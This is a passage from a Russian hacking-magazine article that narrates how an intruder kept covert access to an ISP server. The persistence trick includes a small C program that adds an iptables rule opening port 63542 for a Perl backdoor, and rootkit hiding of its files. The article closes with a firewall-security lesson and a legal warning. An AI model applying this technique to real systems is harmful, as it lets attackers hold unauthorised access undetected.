Ломка крупного провайдера

Master-lame-master

Xakep, номер #057, стр. 057-060-4

И еще раз о фаерволе

Взломщик мог скрывать процессы и файлы на сервере, но он совсем позабыл о фаерволе, который закрывал все порты. Выполнив iptables -L, хакер увидел около 300 правил различного характера. Он решил, что если добавит команду, позволяющую коннектиться на 63542 порт, админ этого не заметит.

Нарушителя закона удивило отсутствие файла /etc/sysconfig/iptables, но после изучения стартовых скриптов в рутовом каталоге, в папке firewall обнаружился файл с правилами. Это был не просто список правил. В этом скрипте встречались сложные сравнения правил и какие-то посторонние команды. Немного поразмыслив, он просто вставил в этот файл такую строку: checkrules -all. Затем создал файл checkrules.c следующего содержания:

int main() {

system("/sbin/iptables -A INPUT -j ACCEPT -p tcp --destination-port 63542");

}

Этот сишник был успешно скомпилирован, помещен в папку /usr/bin/, после чего скрыт руткитом. Оставалось только запустить бинарник, тогда правило вступит в силу.

Последний штрих - изменение порта в бэкдоре bd.pl на 63542 и сокрытие этого файла от посторонних глаз. Теперь, чтобы активировать шелл, хакеру достаточно было сходить по ссылке, ведущей на PHP-скрипт (он, кстати говоря, тоже был невидимым), и зателнетиться на порт 63542. По окончании сессии, хакер убивал за собой перловый процесс и завершал работу. Чтобы открыть рутовую сессию, взломщику достаточно было ввести команду ava -e /bin/bash. Она запускала bash-интерпретатор с правами суперпользователя.

В конечном итоге, хакер продержался в системе довольно продолжительное время. В какой-то момент админ решил переустановить операционку на сервере. Соответственно, после подобной процедуры все акцессы исчезли. А вообще на этой машине крутился не только www, но и billing-сервер, поэтому взломщик вполне мог продавать диалап-аккаунты по доступным ценам ;).

Firewall не выход

Эта статья должна была показать тебе, что хорошей настройки фаервола недостаточно для полной безопасности сервера. Вспомни, что взлом начался с постороннего сервера, на котором был установлен бажный форум. После этого хакер легко мог войти под учетной записью на ftp, написать несложный PHP-скрипт и полностью завладеть системой. Именно так и произошло в нашем случае. Поэтому мой тебе совет - не доверяй фаерволу, а мути хорошую локальную безопасность на доверенной машине. Так ты с большей вероятностью ограничишь сервер от взломов.

Внимание! Весь материал дан только в ознакомительных целях. Повторение действий злоумышленника может привести к печальному результату (посадят по 272 статье УК РФ). В этом случае ответственность за содеянное несешь ты.

Что помогло хакеру при взломе?

1. Взломщик владел разными языками программирования, поэтому он добился успеха, заменив cgi-скрипт аналогичным php.

2. Взломщик не раз поднимал на своей машине фаервол. Благодаря этому он хорошо разбирался в правилах iptables. Разумеется, добавить свою запись в брандмауэр для злоумышленника не составило особого труда.